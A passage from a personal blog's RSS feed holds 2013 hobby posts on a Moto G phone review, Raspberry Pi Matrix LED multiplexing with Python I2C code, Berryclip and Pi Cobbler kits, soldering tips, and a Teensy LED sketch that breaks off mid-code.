Goto "Settings" and "About Phone", keep tapping the version number and then keep tapping the big "K", when the red KitKat wrapper comes up hold your finger on it and it will transform into a tile animation.
A colleague at work tried the same on his Jelly Bean Android phone and he got a Jelly Bean animation.
</description>
</item>
<item>
<title>Moto G the most amazing Android phone ever</title>
<pubDate>Tue, 31 Dec 2013 21:59:53 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2013.html#311220132159</link>
<description>
It seems a lifetime ago I got my <a href="http://www.jumpstation.co.uk/flog/Jan2010.html">first Android smart phone the DEXT</a> and it has served me well, but over the years its has got more unreliable at holding a charge all day. To the point I could find it with not enough juice to turn on and tell me it had run out of juice. When it came to backing up the data for the last time some of the files were corrupt.

A friend told me about the Moto G and how it was getting high marks in all reviews and it was only &pound;135, so I started looking into it.
http://www.trustedreviews.com/motorola-moto-g_Mobile-Phone_review
http://www.t3.com/reviews/motorola-moto-g-review
http://www.engadget.com/2013/11/26/moto-g-review/
http://www.theguardian.com/technology/2013/nov/14/motorola-moto-g-review-best-budget-smartphone-135
http://www.pocket-lint.com/review/125221-motorola-moto-g-review

Amazon seemed to be having problems getting hold of it at the RRP and the all the major phone providers were only offering it on contract. But I did find a "Where to get" link on Motorola's site that lead to a single "Buy it now".
http://buymobiles.net
If it had not been for the direct link from Motorola I would have never of visited let alone bought from a site with that URL. The purchase process was painless and I got the phone delivered in a couple of days, and Parcel Force was holding it for one of those.

The box it arrives in is tiny, millimetres wider/longer than the phone and only 3.5x taller. This is because the phone comes with no charger only a standard USB cable. For me, this was good thing I have plenty of mains to USB socket chargers lying around. If it was a problem for a customer such a device is under &pound;5 from numerous sources.
<img alt="Moto G with box" src="images/moto-g plus box.jpg" >
The first hurdle was adding a SIM card as it takes Micro SIM and mine DEXT one was a standard size. Luckily the SIM was marked with cutting points and with many online guides to choose from I managed to trim it down to fit. Worrying the card I created seemed to small and had some movement, but the tolerances must be high as I have never had a moments trouble since.

although I want to blog on this some more I must say I am very impressed with every aspect of the phone, not excluding the call clarity, which is better than my land-line.

There is one small wrinkle in the whole Moto G is AMAZING package and it will only affect a small number of people and that is side loading is not straight forward, more on that another day/year.
</description>
</item>
<item>
<title>Pi Matrix meets pacman</title>
<pubDate>Sun, 10 Nov 2013 21:11:09 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2013.html#101120132111</link>
<description>
Right now we can get serious with the Pi Matrix.

So we know how to show any pattern in any single <a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131425">row or column</a>. The way to show a image/frame is to show each row of the pattern one at a time over and over again. This produces an after image affect that means your eyes do not see the time when the LED are off.

If you watch the video at the end of the post you can see the square in the middle, which is the following code.
<code>#!/usr/bin/python
# square.py
# Light square on the Pi Matrix demonstrating simple multiplexing
import smbus     #Python access to I2C bus
import time      #For timing delays

addr = 0x20     #I2C bus address of the 23017
dirA = 0x00     #PortA I/O direction register
dirB = 0x01     #PortB I/O direction register
portA = 0x12     #PortA data register
portB = 0x13     #PortB data register

print "Pi Matrix - Square demo"
bus = smbus.SMBus(1)    #Use '1' for newer Pi's and 0 for revision 1 Pi's
bus.write_byte_data(addr, dirA, 0x00)    #all zeros = all outputs on PortA
bus.write_byte_data(addr, dirB, 0x00)     #all zeros = all outputs on PortB

for i in range(0,500) :
    bus.write_byte_data(addr, portA, 0x00)     
    bus.write_byte_data(addr, portB, ~0b00100000) 
    bus.write_byte_data(addr, portA, 0b00111100)     
    time.sleep(0.001)
    bus.write_byte_data(addr, portA, 0x00)     
    bus.write_byte_data(addr, portB, ~0b00010000) 
    bus.write_byte_data(addr, portA, 0b00100100)     
    time.sleep(0.001)
    bus.write_byte_data(addr, portA, 0x00)     
    bus.write_byte_data(addr, portB, ~0b00001000) 
    bus.write_byte_data(addr, portA, 0b00100100)     
    time.sleep(0.001)
    bus.write_byte_data(addr, portA, 0x00)     
    bus.write_byte_data(addr, portB, ~0b00000100) 
    bus.write_byte_data(addr, portA, 0b00111100)     
    time.sleep(0.001)

print "Clearing display"
bus.write_byte_data(addr, portA, 0x00)</code>

You should make note of a couple of things. Firstly, there are four blocks of code in the loop each starting by setting the column(Anodes) to low/off and a sleep instruction set to just 1x1000/second. That means each row clears the old column data and that after setting the new column pattern(more on that in a moment) the code pauses. If we did not clear the column data before changing row there would be an additional after image affect and that is what I saw here before I added the clear. The top of the square would be draw correctly but then for a brief moment the same four LEDs were on on the second row before the sides of the square for that row were set on their own, creating pink LEDs in between the red ones. The delay stops the LEDs flashing on and then immediately off again. When missing the LEDs in the image look dull.
The actual drawing is a manual bit-bash to set the row(the ~ is bit-wise NOT, which inverts the bit pattern) and then to set the column pattern of the row.
00100000 00111100
00010000 00100100
00001000 00100100
00000100 00111100

Hard coded values are not very useful so lets move on.

<code>#!/usr/bin/python
# singleframe.py
# Single frame on the Pi Matrix demonstrating simple multiplexing
import smbus     #Python access to I2C bus
import time      #For timing delays

addr = 0x20     #I2C bus address of the 23017
dirA = 0x00     #PortA I/O direction register
dirB = 0x01     #PortB I/O direction register
portA = 0x12     #PortA data register
portB = 0x13     #PortB data register

print "Pi Matrix - Single frame demo"
bus = smbus.SMBus(1)    #Use '1' for newer Pi's and 0 for revision 1 Pi's
bus.write_byte_data(addr, dirA, 0x00)    #all zeros = all outputs on PortA
bus.write_byte_data(addr, dirB, 0x00)     #all zeros = all outputs on PortB

def drawRow(row,display):
    bus.write_byte_data(addr, portA, 0x00) # clear the column data    
    bus.write_byte_data(addr, portB, ~row) # set the row 
    bus.write_byte_data(addr, portA, display) # set column data    
    time.sleep(0.001)

def drawFrame(data):
    for b in range(0,7+1) :
        drawRow(0x01&lt;&lt;b,data[b])

for i in range(0,500) :
    drawFrame([
0b10000000,
0b01000000,
0b00100000,
0b00010000,
0b00001000,
0b00000100,
0b00000010,
0b00000001])

print "Clearing display"
bus.write_byte_data(addr, portA, 0x00)</code>
Here the "def NAME" are functions and code calls 'drawFrame' with my array that then in turn calls 'drawRow' for each line in the array. This is repeated 500 hundred times, which seems to show the diagonal line image for about five seconds.

Never has a diagonal line been more interesting or more boring, so on with the show.

<code>#!/usr/bin/python
# animation.py
# Multiple frame animation on the Pi Matrix demonstrating simple multiplexing
import smbus     #Python access to I2C bus
import time      #For timing delays

addr = 0x20     #I2C bus address of the 23017
dirA = 0x00     #PortA I/O direction register
dirB = 0x01     #PortB I/O direction register
portA = 0x12     #PortA data register
portB = 0x13     #PortB data register

print "Pi Matrix - Multiple frame demo"
bus = smbus.SMBus(1)    #Use '1' for newer Pi's and 0 for revision 1 Pi's
bus.write_byte_data(addr, dirA, 0x00)    #all zeros = all outputs on PortA
bus.write_byte_data(addr, dirB, 0x00)     #all zeros = all outputs on PortB

def drawRow(row,display):
    bus.write_byte_data(addr, portA, 0x00) # clear the column data    
    bus.write_byte_data(addr, portB, ~row) # set the row 
    bus.write_byte_data(addr, portA, display) # set column data    
    time.sleep(0.001)

def drawImage(data):
    for b in range(0,7+1) :
        drawRow(0x01&lt;&lt;b,data[b])

def drawFrame(frameData,refreshes):
    for i in range(0,refreshes) :
        drawImage(frameData)

def displayAnimation(frames,frameRefreshes):
    for i in range(0, len(frames)) :
        if (i<len(frameRefreshes)) :
            fallBackRefresh=frameRefreshes[i]
        drawFrame(frames[i], fallBackRefresh)

displayAnimation([
[
0b00000000,
0b00000000,
0b00000000,
0b00000001,
0b00000001,
0b00000001,
0b00000001,
0b00000001]
,[
0b00000000,
0b00000000,
0b00000001,
0b00000010,
0b00000010,
0b00000010,
0b00000010,
0b00000010]
,[
0b00000000,
0b00000001,
0b00000010,
0b00000101,
0b00000101,
0b00000100,
0b00000100,
0b00000101]
,[
0b00000000,
0b00000011,
0b00000100,
0b00001110,
0b00001110,
0b00001000,
0b00001000,
0b00001101]
,[
0b00000000,
0b00000111,
0b00001000,
0b00010110,
0b00010110,
0b00010000,
0b00010000,
0b00010101]
,[
0b00000000,
0b00001111,
0b00010000,
0b00111011,
0b00111011,
0b00100000,
0b00100000,
0b00110101]
,[
0b00000000,
0b00011110,
0b00100001,
0b01011011,
0b01011011,
0b01000000,
0b01000000,
0b01010101]
,[
0b00000000,
0b00111100,
0b01000011,
0b11101101,
0b11101101,
0b10000001,
0b10000001,
0b11010101]
,[
0b00000000,
0b00111100,
0b01000011,
0b10110111,
0b10110111,
0b10000001,
0b10000001,
0b10101011]
,[
0b00000000,
0b00111100,
0b01000011,
0b11101101,
0b11101101,
0b10000001,
0b10000001,
0b11010101]
,[
0b00000000,
0b00111100,
0b01000011,
0b10110111,
0b10110111,
0b10000001,
0b10000001,
0b10101011]
,[
0b00000000,
0b00111100,
0b01000011,
0b11101101,
0b11101101,
0b10000001,
0b10000001,
0b11010101]
,[
0b00000000,
0b00111100,
0b01000011,
0b10110111,
0b10110111,
0b10000001,
0b10000001,
0b10101011]
]
,[20])

print "Clearing display"
bus.write_byte_data(addr, portA, 0x00)</code>
Here 'drawRow' is exactly the same but 'drawFrame' has been renamed 'drawImage' and 'drawFrame' is now the control for how many times the image is shown per frame. 'displayAnimation' is the main controlling loop, picking each frame and checking if it has a refresh rate and if not using the previous one.

Instead of entering the refresh value once for each frame I could just enter 20 once in the second array and all the frames picked it up, but if I ever need different frames to be different lengths all I have to do is add the individual frame refreshes.

This is the video I uploaded to YouTube containing the row/column demos followed by the square, single frame and animation demos.
<iframe src="//www.youtube-nocookie.com/embed/q612RXzo8aA?rel=0" allowfullscreen="" width="420" frameborder="0" height="315"></iframe>
</description>
</item>
<item>
<title>Pi Matrix failure story time</title>
<pubDate>Sun, 10 Nov 2013 17:08:01 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2013.html#101120131708</link>
<description>
Story time.

So, I <a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131119">had the Pi Matrix working</a> and stepping through <a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131425">rows and columns</a> but for some reason I was convinced that I had the Matrix connected upside down. Seemed quite logical if the Matrix was connected upside down the anodes and cathodes would be the wrong way around. 

Without turning off the Pi I disconnected the LED matrix reoriented it and reconnected. The first signs of panic were now setting in. During the removal process, even though the LEDs were set to all be off some flashed and the same when I reconnected.

Never mind its all low voltage, isn't it?

Running the tutorial that should have turned on all the LEDs only showed four.
<img alt="Raspberry Pi with PI Matrix board attached with the LED matrix attached upside down causing only four LEDs to light" src="images/PiMatrix_Incorrectly_Connected.jpg">

Uh oh!

Then I ran the <a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131119">had the Pi Matrix working</a> and stepping through <a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131425">row and column</a> Python scripts and sometimes nothing would light and other times weird patterns showed for each row/column.

Step 1: Shutdown the Pi disconnect the Pi Matrix and connect my friend the <a href="http://www.jumpstation.co.uk/flog/Oct2013.html#241020132141">Berryclip</a>. The <a href="http://www.jumpstation.co.uk/flog/Oct2013.html#241020132141">Berryclip</a> worked perfectly so I had not completely fried the Pi. It did not test all the GPIO pins but it was as reassuring as I could get.

Step 2: Shutdown and remove the <a href="http://www.jumpstation.co.uk/flog/Oct2013.html#241020132141">Berryclip</a> and reconnect the <a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131119">Pi Matrix</a> this time with the LED matrix the correct way around. I made sure to mark the LED matrix with a sharpie so I would know which away around was correct.

Step 3: Power up the Pi and run the tutorial, the test commands and the <a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131425">row/column demos</a>. Oh dear! Same dodgy patterns!
At this point it is worth pointing out I had made a mistake. The mark was on the wrong corner so I was RECONNECTING the matrix the wrong way up. But of course I had not noticed which lead to...

Step 4: Replace the chip on the Pi Matrix. It had been noted that damaging the Pi Matrix was not an expensive mistake as the chip was less than &pound;1 to replace. So duly went googling and found the MCP23017-E/SP for 99p but trying to get cheap shipping was fun... what with minimum purchase volumes and min order values, in the end ebay was the only place that would sell me one for 99p. &pound;2.58 total. Wait for delivery, replace chip and ... same result (remember I was not aware the matrix was upside down). Which lead to...

Step 5: Replace the LED matrix. Still cheap but not quite as cheap as the chip I order what the image showed to be exactly what I wanted. &pound;3.30. wait for delivery and... Find it is a 3rd of the size so the pins would not line up, that will teach me to read the sizes and descriptions more closely.

Step 6: I wondered what was broken/burned out on the Pi Matrix. So I noted the patterns that were shown, shutdown and reoriented the LED matrix once again. Notebook in hand I waited to record more messed up LED patterns.

Oh, now it all works &lt;slap target="head" /&gt;

Now we can move on to something more exciting.
</description>
</item>
<item>
<title>Pi Matrix row and columns step demos</title>
<pubDate>Sun, 10 Nov 2013 14:25:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2013.html#101120131425</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131119">Previously</a> we setup the Pi Matrix and used command line tools to operate it, now we can use Python to control the output.

The Matrix works by setting a bit pattern for which columns to light and second one for which rows. This means it is very easy to have a single row or column lit.

In this column step demo set all the cathodes on portB low/ground and then set portA to the bit patterns.
00000001
00000010
00000100
00001000
00010000
00100000
01000000
10000000
one after another via bit shifting. Video at the end of this post.
                                                    

<code>#!/usr/bin/python
#
# columnstep.py
#
# Lights each column in turn on the Pi Matrix

import smbus     #Python access to I2C bus
import time      #For timing delays

# Definitions for the MCP23017 chip
addr = 0x20     #I2C bus address of the 23017
dirA = 0x00     #PortA I/O direction register
dirB = 0x01     #PortB I/O direction register
portA = 0x12     #PortA data register
portB = 0x13     #PortB data register

# Program start
print "Pi Matrix - Column step demo"
bus = smbus.SMBus(1)    #Use '1' for newer Pi's and 0 for revision 1 Pi's
bus.write_byte_data(addr, dirA, 0x00)    #all zeros = all outputs on PortA
bus.write_byte_data(addr, dirB, 0x00)     #all zeros = all outputs on PortB
bus.write_byte_data(addr, portB, 0x00)     #set row outputs low 

for i in range(0,7+1) :
   bus.write_byte_data(addr, portA, 0x01&lt;&lt;i) #set column outputs low = LEDs off
   time.sleep(0.25)                 #keep LEDs off for 0.5 secs

bus.write_byte_data(addr, portA, 0x00) #set column outputs low = LEDs off
</code>

Now instead of setting the cathodes low/ground we set the anodes all high and walk through the inverse bit patterns setting each column on in turn.
11111110
11111101
11111011
11110111
11101111
11011111
10111111
01111111

<code>#!/usr/bin/python
#
# rowstep.py
#
# Lights each row in turn on the Pi Matrix

import smbus     #Python access to I2C bus
import time      #For timing delays

# Definitions for the MCP23017 chip
addr = 0x20     #I2C bus address of the 23017
dirA = 0x00     #PortA I/O direction register
dirB = 0x01     #PortB I/O direction register
portA = 0x12     #PortA data register
portB = 0x13     #PortB data register

# Program start
print "Pi Matrix - Row step demo"
bus = smbus.SMBus(1)    #Use '1' for newer Pi's and 0 for revision 1 Pi's
bus.write_byte_data(addr, dirA, 0x00)    #all zeros = all outputs on PortA
bus.write_byte_data(addr, dirB, 0x00)     #all zeros = all outputs on PortB
bus.write_byte_data(addr, portA, 0xFF)     #set column outputs high 

for i in range(0,7+1) :
   bus.write_byte_data(addr, portB, ~(0x01&lt;&lt;i)) #set column outputs low = LEDs off
   time.sleep(0.25)                 #keep LEDs off for 0.5 secs

bus.write_byte_data(addr, portA, 0x00)
</code>

This video shows the two programs above and then some of the more complex ones I will describe in later posts.
<iframe width="420" height="315" src="//www.youtube-nocookie.com/embed/q612RXzo8aA?rel=0" frameborder="0" allowfullscreen></iframe>

Next up, a story.. are we sitting comfortably?
</description>
</item>
<item>
<title>Pi Matrix powered up</title>
<pubDate>Sun, 10 Nov 2013 11:19:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2013.html#101120131119</link>
<description>
Pi Matrix is the next Raspberry Pi soldering project. It is made up of a 8x8 Red LED matrix a controller chip, many resistors and the various header pins an connectors.

A daunting task made easy by the fact that each trace on the board has a elliptical solder point that made each of my joints look very professional, not to much solder and not too little. Secondly, almost half the header pins supplied do not have to be connected for the board to work. They are supplied to as break-out pins for a extension projects, which is a very good idea.

<img alt="raspberry pi with PI Matrix board attached and the LED matrix upside to the right" src="images/PiMatrix_Disconnected.jpg" />

After soldering the unit up and connecting the LED matrix I connected it up to the PI and started following the <a href="http://www.themagpi.com/issue/issue-13/article/introduction-to-pi-matrix/">Mag Pi issue 13 Introduction to the Pi Matrix </a>.

There are a number of setup requirements to enable the <a href="http://en.wikipedia.org/wiki/I%C2%B2C">I2C</a> support in the Pi.

edit /etc/modprobe.d/raspi-blacklist.conf
and comment out the blacklist command for the i2c-bcm2708 module.
#blacklist i2c-bcm2708
So it was black listed and not loaded, now its not black listed it can be loaded.

then edit /etc/modules and add the module
i2c-dev 

install the python and I2C support
<code>sudo apt-get update
sudo apt-get install python-smbus
sudo apt-get install i2c-tools</code>

finally add the "pi" user to the "i2c" group
<code>sudo adduser pi i2c</code>

and reboot.

Now using the "i2cset" command initialise the data ports (these commands are set for the <a href="http://elinux.org/R-Pi_Troubleshooting#Hardware_versions.2Frevisions">newer</a> Raspberry Pis)
<code>i2cset -y 1 0x20 0x00 0x00
i2cset -y 1 0x20 0x01 0x00</code>

and test the matrix by setting all the cathodes to 0 (low/ground) and all the anodes high.
<code>i2cset -y 1 0x20 0x13 0x00
ic2set -y 1 0x20 0x12 0xFF</code>
<code output>-bash: ic2set: command not found</code>
oops they printed a typo
<code>i2cset -y 1 0x20 0x12 0xFF</code>
which should turn all 64 LEDs on, but if you only got four turn everything off, turn the LED matrix around and reattach it.
<code>i2cset -y 1 0x20 0x12 0x00</code>
to turn all the LEDs off again.
<img alt="Raspberry Pi with PI Matrix board attached with the LED matrix attached upside down causing only four LEDs to light" src="images/PiMatrix_Incorrectly_Connected.jpg" />

Next time we can get some python controlling the Pi Matrix.
</description>
</item>
<item>
<title>Is it a magazine or a book, just buy it</title>
<pubDate>Thu, 24 Oct 2013 22:00:06 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2013.html#241020132200</link>
<description>
I hesitated from buying a &pound;13 magazine but I am so glad I did buy <a href="https://www.imagineshop.co.uk/bookazines/raspberry-pi-for-beginners.html">raspberry pi for beginners</a> in the end.

It is packed with high quality stuff, from basic setup to high altitude balloons to <a href="http://www.raspbmc.com">RASBMC</a>. Each article is well written with lots of "and if you want to do this" tips.

Recommended, better than a number of more expensive Raspberry Pi books I have seen.
</description>
</item>
<item>
<title>berryclip at home on my pi</title>
<pubDate>Thu, 24 Oct 2013 21:41:32 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2013.html#241020132141</link>
<description>
The next <a href="http://www.jumpstation.co.uk/flog/Oct2013.html#101020132054">soldering kit</a> for the Pi is the <a href="http://www.raspberrypi-spy.co.uk/berryclip-6-led-add-on-board/berryclip-6-led-add-on-board-instructions/">berryclip</a>. A six LED board with a switch and a speaker.

The kit came with a rubber foot that allows the entire board to sit neatly on top of the Pi, where it looks perfectly at home.

Following the instructions from the <a href="http://www.raspberrypi-spy.co.uk/berryclip-6-led-add-on-board/berryclip-6-led-add-on-board-instructions/">berryclip homepage</a> was a breeze, just make a directory for the code to sit in, downloaded it and unpack it, job done.

The <a href="http://www.raspberrypi-spy.co.uk/berryclip-6-led-add-on-board/berryclip-6-led-add-on-board-instructions/">berryclip</a> code includes 12 python scripts. The first one simple turns on all the six LEDs in turn and this is where I meet my first problem, one of the LEDs was not lighting. 

I had heard of LEDs shipping with the flat edge on the wrong side. So I whipped up my 3.3v 180&#8486; single LED circuit confirmed it worked with a spare LED and then connected the wires to the terminals of the problem LED on the board. It worked fine and on closer examination I could see an incomplete solder joint.

One quick solder job later and I had the LEDs all lit.

<img scr="images/berryclipinstalled.jpg" alt="berryclip board installed on pi and running script 01" >

You may have noticed the lack of resistors on the board, that's because I soldered them on the other side &lt;blush/&gt;

The other 11 scripts were

02 Testing the speaker: beeps twice (VERY LOUD!).
03 Testing the switch: reports when pressed.
04 Shows input and output: waits for the switch to be pressed the lights the LEDs.
05 All elements in use: when switch is pressed all LEDs and speaker operate.
06 LED sequence: bouncing left to right and back again infinitely.
07 Dice: 1-6 LEDs lit randomly each time the switch is pressed.
08 Reaction game: waits a random amount of time then turns off LEDs and the time you take to press the switch is measured.
09 Random: LEDs light randomly.
10 Light show: different animated sequences are shown using the LEDs.
11 Stop GO: changes state from Stop to GO when switch is pressed.
12 Morse code: Generates Morse beeps for the text you enter.

All in all the <a href="http://www.raspberrypi-spy.co.uk/berryclip-6-led-add-on-board/berryclip-6-led-add-on-board-instructions/">berryclip</a> is an awesome mini kit and ideal for <a href="http://www.raspberrypi.org">Raspberry Pi</a> beginners.

To sum it up in one word, FUN!
</description>
</item>
<item>
<title>MagPi vol2 circuit with a little cobbler</title>
<pubDate>Tue, 22 Oct 2013 22:16:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2013.html#221020132216</link>
<description>
Pi cobbler

So what is a "breakout board"? Simply put it takes the pins from the Pi and makes them available on a "Breadboard", in other words, its a plug. A very useful plug!

After checking all my connections and re-soldering where necessary, I decided to try the simple circuit from the <a href="http://www.themagpi.com/issue/issue-2/">MagPi Issue 2</a>(PDF). It is just a an LED with three resistors and a switch.

But, being a cautious chap when it comes to these electronics, I took my old favourite from the <a href="/flog/Oct2013.html#061020131051">Teensy LED experiments</a>, Adding a 180Ω resistor to the 3.3v Pin 1 and then a standard Red LED from that resistor to GND on Pin 9 and got the LED to light, just by having the Pi powered up.

Issue number one with the <a href="https://www.modmypi.com/raspberry-pi-expansion-boards/raspberry-pi-cobbler">Pi Cobbler</a>; the cable is at right angles and covers the aforementioned Pins. I might try and find a non right-angled cable. Note this is surmountable, just annoying. The other end fits easily over the GPIO pins with the cable not obscuring the Pi at all.

<img src="images/RPi_cobbler_resistor_LED_dual_image_plugged_unplugged.jpg" alt="Raspberry Pi with cobbler running single LED with 180ohm resistor connected and unconnected">

Now to create the lovely <a href="http://www.themagpi.com/issue/issue-2/">MagPi Issue 2</a>(PDF) circuit I needed a switch. I did not have an actual momentary switch so I just used two wires and held them together to "complete" the circuit, worked fine.
<img src="images/RPi_MagPiVol2_circuit_cobbler_unconnected.jpg" alt="Raspberry Pi with cobbler running the circuit from MagPi Issue 2, cobbler unconnected">

The circuit has two functions, light the LED when the circuit is complete and trigger the input on P17(Pin 11). To use Python to talk/listen to the GPIO pins we need the RPi package. At writing the newest version was 0.5.3a, always check for the newest version.
<code>wget https://pypi.python.org/packages/source/R/RPi.GPIO/RPi.GPIO-0.5.3a.tar.gz

tar xvf RPi.GPIO-0.5.3a.tar.gz
cd RPi.GPIO-0.5.3a/

sudo python setup.py install</code>
<code class="output">source/py_gpio.c:23:20: fatal error: Python.h: No such file or directory</code>
OK, that's pretty obviously a missing Python development environment.
<code>sudo apt-get install python-dev</code>
<code class="output">Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following extra packages will be installed:
  libexpat1-dev python2.7-dev
The following NEW packages will be installed:
  libexpat1-dev python-dev python2.7-dev
0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded.
Need to get 28.9 MB of archives.
After this operation, 36.0 MB of additional disk space will be used.
Do you want to continue [Y/n]? 
Err http://mirrordirector.raspbian.org/raspbian/ wheezy/main python-dev all 2.7.3-4
  404  Not Found
Get:1 http://mirrordirector.raspbian.org/raspbian/ wheezy/main libexpat1-dev armhf 2.1.0-1 [210 kB]
Get:2 http://mirrordirector.raspbian.org/raspbian/ wheezy/main python2.7-dev armhf 2.7.3-6 [28.7 MB]
Fetched 28.9 MB in 5min 16s (91.4 kB/s)                                        
Failed to fetch http://mirrordirector.raspbian.org/raspbian/pool/main/p/python-defaults/python-dev_2.7.3-4_all.deb  404  Not Found
E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
</code>
Oh, bit out of date.
<code>sudo apt-get update
sudo apt-get upgrade

sudo apt-get install python-dev</code>
Sometime later I was able to run

<code>sudo python setup.py install</code>

and write the code
<code>#!/usr/bin/python
import time
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BOARD)
GPIO.setup(11, GPIO.IN)

while True:
	mybutton = GPIO.input(11)
	if mybutton == False:
		print "giggle"
		time.sleep(.2)
</code>
I called my file "gpio.py" so to run it I ran
<code>sudo python gpio.py</code>
If you exclude the sudo the code can not access the GPIO ports and you will get an error.
Now when ever I touched the wires together not only did the LED light but a message of "giggles" was displayed.

So the bottom line on the 
<a href="https://www.modmypi.com/raspberry-pi-expansion-boards/raspberry-pi-cobbler">Pi Cobbler</a>? The alternative is to try and hook up the unmarked pins directly from the Pi one by one, not recommended, but of course the <a href="https://www.modmypi.com/raspberry-pi-expansion-boards/raspberry-pi-cobbler">Pi Cobbler</a> is recommended.
</description>
</item>
<item>
<title>Soldering for the Raspberry Pi</title>
<pubDate>Thu, 10 Oct 2013 20:54:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2013.html#101020132054</link>
<description>
I really thought I remembered the trick/s to soldering but, 10+ years addles the brain and it was only after a burnt finger and some non-conductive connections that I ended up reading the <a href="mightyohm.com/files/soldercomic/FullSolderComic_EN.pdf‎">"Soldering is easy:How to do it"</a>(pdf) comic.

It would seem I made two fatal mistakes; One: I thought the trick was to heat up the components for 5-6 seconds before applying solder, which half worked, but had the side affect of melting the plastic holding the pin and it falling through the board. Two: you need the most powerful soldering iron, turns out 30w is probably to powerful for micro electronics. After I had read the comic and switched to my old 12w things went much more smoothly.

What was I soldering?
The <a href="https://www.modmypi.com/raspberry-pi-expansion-boards/raspberry-pi-cobbler">raspberry-pi cobbler</a> a simple breakout connector for the GPIO pins to a bread board.
This was my first victim and as it has no components other than the connector and pins, I was able to screw it up and then make it usable. After burning my finger with the 30w iron and then heating a pin to the point it dropped through the board I finally managed to melt one side of the connector. Of the 26 pins 5 were not making an electrical connection from the pin on the board to the pin in the connector, but a bit of re-soldering fixed that.

Then there was the <a href="https://www.modmypi.com/raspberry-pi-expansion-boards/berry-clip-raspberry-pi-add-on-board">Berry Clip</a> a neat package containing, 6x LEDs, 1 speaker and 1 button.
As my second victim, it benefited from the soldering iron power downgrade, but my inexperience still left some connections a bit lacking(solder). Still at first glance it appeared OK.

The most adventurous of my purchases was the <a href="https://www.modmypi.com/raspberry-pi-expansion-boards/pi-matrix">Pi Matrix</a> an awesome 64x LED display that sits directly on top of the PI(as does the Berry Clip).
After the practice of burning and melting the two previous boards this one came out the best. It had a lot of connections that required soldering and I made a point of not doing the almost duplicate number that are not necessary. The unnecessary soldering is to provide further breakout connections, so non PIs can interface with the board, which is a brilliant idea, but not for me.

So that little lot came in at less than &pound;23 which is perfect for my limited budget.
</description>
</item>
<item>
<title>Teensy powered 8 segment led display</title>
<pubDate>Tue, 08 Oct 2013 21:59:55 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2013.html#081020132159</link>
<description>
I have the box below full of LEDs of various types from at least <a href="http://www.jumpstation.co.uk/flog/Nov2003.html">2003</a> and once the kids saw it they demanded I get the "clock" to work.
<img src="images/led_kit_box.jpg" alt="box of LEDs including single, blocks and segmented blocks"/>
The "clock" referred to the single block counting two eight segment LEDs. I really did not have enough resistors to attempt that, but I also wanted to get the big black eight segment working. So I touched the 5v from the teensy to each lead of the segment while Ground was connected to the middle pin that was slightly separated from the rest. Success! added a resistor to avoid pulling too much current and set to work wiring up my bread board with eight resistors and cabling it all to the <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a>.
And ... nothing. No LEDs lit at all. Investigation time.

Connected just the <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a> Pin 13 and ... no segments on the LED lit?! Checked wires connections, no luck. Then I repeated the original 5v wire and it worked. Oh, seems the digital pins on the <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a> are 3.3v, drat.

OK, so away went the giant display and out came the medium one, same issue, so away that went and now I am using a teensy (pun intended) one and all is well.

After getting it hooked up and testing the segments could be turned on and off I worked with my 7yr old to define; first the numeric characters '9','8','7','6','5','4','3','2','1','0' in a countdown. Then added an animated track like my <a href="http://www.jumpstation.co.uk/flog/Nov2003.html">heart beat</a> project and finally my son wanted the LEDs to "dance" so he defined an order that they would flicker about.
<img src="images/teensy_8_segment_led_block.jpg" alt="an eight segment led showing a '6' on a bread board powered by a Teensy 3.0"/>
Each wire from the <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a> is a digital pin set as output delivering 3.3v when set. Each of those wires are connected in series with their own 180&#8486; resister and each resistor connecting to a pin on the segment block, finally with the ground pin connected to the <a href="http://www.pjrc.com/store/teensy3.html">Teensy's</a> ground.
Here is a YouTube video of it all working.
<iframe width="420" height="315" src="//www.youtube-nocookie.com/embed/jx9dhHTO4XI?rel=0" frameborder="0" allowfullscreen></iframe>
<a href="http://www.youtube.com/watch?v=jx9dhHTO4XI&feature=youtu.be">video<a/>
And here is the Arduino Sketch code, note how simple it is, just turning on and off pins.
<code>// Teensy 3.0 has the LED on pin 13
const int ledPinSeg1DOT = 13;
const int ledPinSeg2 = 14;
const int ledPinSeg3 = 16;
const int ledPinSeg4 = 19;
const int ledPinSeg5 = 23;
const int ledPinSeg6 = 12;
const int ledPinSeg7 = 9;
const int ledPinSeg8 = 5;
int count=0;

// the setup() method runs once, when the sketch starts

void setup() {
  // initialise the digital pin as an output.
  pinMode(ledPinSeg1DOT, OUTPUT); 
  pinMode(ledPinSeg2, OUTPUT);
  pinMode(ledPinSeg3, OUTPUT);
  pinMode(ledPinSeg4, OUTPUT);
  pinMode(ledPinSeg5, OUTPUT);
  pinMode(ledPinSeg6, OUTPUT);
  pinMode(ledPinSeg7, OUTPUT);
  pinMode(ledPinSeg8, OUTPUT);
  Serial.begin(38400);
  Serial.println("Let us begin");
}

// the loop() method runs over and over again,
// as long as the board has power

void loop() {
  ///////////////////////// 9
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  digitalWrite(ledPinSeg2, HIGH);   // set the LED on
